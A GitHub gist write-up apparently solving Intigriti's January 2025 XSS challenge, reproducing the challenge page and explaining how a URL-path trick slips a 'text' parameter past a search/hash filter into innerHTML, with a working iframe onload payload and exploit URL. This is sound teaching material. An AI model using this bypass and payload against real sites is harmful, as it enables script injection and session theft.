Skip to content

Instantly share code, notes, and snippets.

@Siss3l
Created January 9, 2025 20:09
Show Gist options
  • Save Siss3l/70e1c09477b60a5998322e229822095b to your computer and use it in GitHub Desktop.
Save Siss3l/70e1c09477b60a5998322e229822095b to your computer and use it in GitHub Desktop.
Intigriti's January 2025 Web Challenge thanks to @0xGodson

Intigriti's January Challenge

Challenge

Description

The solution:

  • Should work on the latest version of Chrome and FireFox;
  • Should leverage a cross site scripting vulnerability on this domain;
  • Should not be self-XSS or related to MiTM attacks;
  • Should require no user interaction;
  • Should execute alert(document.domain).

Overview

We have a web challenge where we can input any name:

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Welcome 2025!</title>
    <style>
        body {
            font-family: Arial,sans-serif;
            background-color: #f4f4f9;
            margin: 0;
            padding: 0;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            overflow: hidden;
            position: relative;
        }
    </style>
    <link rel="icon" href="cropped-fav-32x32.png" sizes="32x32"/>
  </head>
  <body>
    <form id="textForm" onsubmit="redirectToText(event)">
        <h1>Enter your name!</h1>
        <label for="inputBox"></label>
        <input type="text" id="inputBox" name="inputBox" placeholder="Type here...">
        <button type="submit">Submit</button>
    </form><!-- Modal -->
    <div id="modal" class="modal">
        <div class="modal-content">
            <h2 id="modalText"></h2>
            <button onclick="closeModal()">Close</button>
        </div>
    </div><!-- Falling Particles -->
    <div id="particles"><!-- Falling particles will be generated here --></div>
    <script>
        function XSS() {
            return decodeURIComponent(window.location.search).includes('<') || decodeURIComponent(window.location.search).includes('>')
            || decodeURIComponent(window.location.hash).includes('<') || decodeURIComponent(window.location.hash).includes('>');
        }
        function getParameterByName(name) {
            var url = window.location.href;
            name = name.replace(/[\[\]]/g, "\\$&");
            var regex = new RegExp("[?&]" + name + "(=([^&#]*)|&|#|$)");
            results = regex.exec(url);
            if (!results) return null;
            if (!results[2]) return '';
            return decodeURIComponent(results[2].replace(/\+/g, " "));
        } // Function to redirect on form submit
        function redirectToText(event) {
            event.preventDefault();
            const inputBox = document.getElementById('inputBox');
            const text = encodeURIComponent(inputBox.value);
            window.location.href = `/challenge?text=${text}`;
        } // Function to display modal if 'text' query param exists
        function checkQueryParam() {
            const text = getParameterByName('text');
            if (text && XSS() === false) {
                const modal = document.getElementById('modal');
                const modalText = document.getElementById('modalText');
                modalText.innerHTML = `Welcome, ${text}!`;
                textForm.remove();
                modal.style.display = 'flex';
            }
        } // Function to close the modal
        function closeModal() {
            location.replace('/challenge');
        } // Function to generate random color
        function getRandomColor() {
            const letters = '0123456789ABCDEF';
            let color = '#';
            for (let i = 0; i < 6; i++) {
                color += letters[Math.floor(Math.random() * 16)];
            }
            return color;
        } // Function to generate falling particles
        function generateFallingParticles() {
            const particlesContainer = document.getElementById("particles"); // Generate 100 xiao particles with different animations, positions, and colors
            for (let i = 0; i < 100; i++) {
                let particle = document.createElement("div");
                particle.classList.add("falling-particle"); // Randomize the particle's left position
                particle.style.left = Math.random() * 100 + "vw"; // Left position from 0 to 100% of viewport width
                particle.style.backgroundColor = getRandomColor(); // Randomize the particle's color
                particle.style.animationDelay = Math.random() * 5 + "s"; // Random delay for staggered fall
                particlesContainer.appendChild(particle); // Randomize animation delays
            }
        } // Generate particles when the page loads
        window.onload = function() {
            generateFallingParticles();
            checkQueryParam();
        };
    </script>
  </body>
</html>

Protections were added after the challenge was released, no great catch.

Solution

When reloading the page, we can find interesting checkQueryParam usage.
Nothing insurmountable for our favorite LLM tho.

The Vulnerability is XSS in checkQueryParam:

  1. getParameterByName('text') retrieves the text query parameter from the URL.
    This is where user-provided input enters the system.
    This function itself is not inherently problematic, but how the text value is used later is critical.

  2. modalText.innerHTML = Welcome, ${text}!; is the heart of the vulnerability.
    The code takes the retrieved text (which is potentially user-controlled) and injects it directly into the innerHTML of the modalText element.
    This is the classic reflected XSS pattern. If a user can control the text parameter, they can inject malicious HTML and JavaScript.

  3. Path Traversal with pathname are parts of the URL but not typically used for path manipulation.
    However, they can still be used to craft malicious payloads for XSS or other attacks, given the regular expression pattern.

Regex

window.location.hash, window.location.search;
''
var url = window.location.href;
'https://challenge-0125.intigriti.io/&text=<iframe+onload=alert(document.domain)>/..%2Fchallenge'
name    = name.replace(/[\[\]]/g, "\\$&");
'text'
var regex = new RegExp("[?&]"+name+"(=([^&#]*)|&|#|$)");
/[?&]text(=([^&#]*)|&|#|$)/
results   = regex.exec(url);
['&text=%3Ciframe+onload=alert(document.domain)%3E/..%2Fchallenge',
 '=%3Ciframe+onload=alert(document.domain)%3E/..%2Fchallenge',
 '%3Ciframe+onload=alert(document.domain)%3E/..%2Fchallenge', index: 36, groups: undefined,
 input: 'https://challenge-0125.intigriti.io/&text=%3Ciframe+onload=alert(document.domain)%3E/..%2Fchallenge'
]
if(!results) return null; if(!results[2]) return '';
return decodeURIComponent(results[2].replace(/\+/g, " "));
const text = getParameterByName('text');
'<iframe+onload=alert(document.domain)>/../challenge'
// <h2 id="modalText">Welcome, <iframe onload="alert(document.domain)">/../challenge!</iframe></h2>
// https://challenge-0125.intigriti.io/&text=<iframe+onload=alert(document.domain)>/..%2Fchallenge

Appendix

A nice beginner-friendly challenge that forces us to think about distinctive processes.

Bye

Comments are disabled for this gist.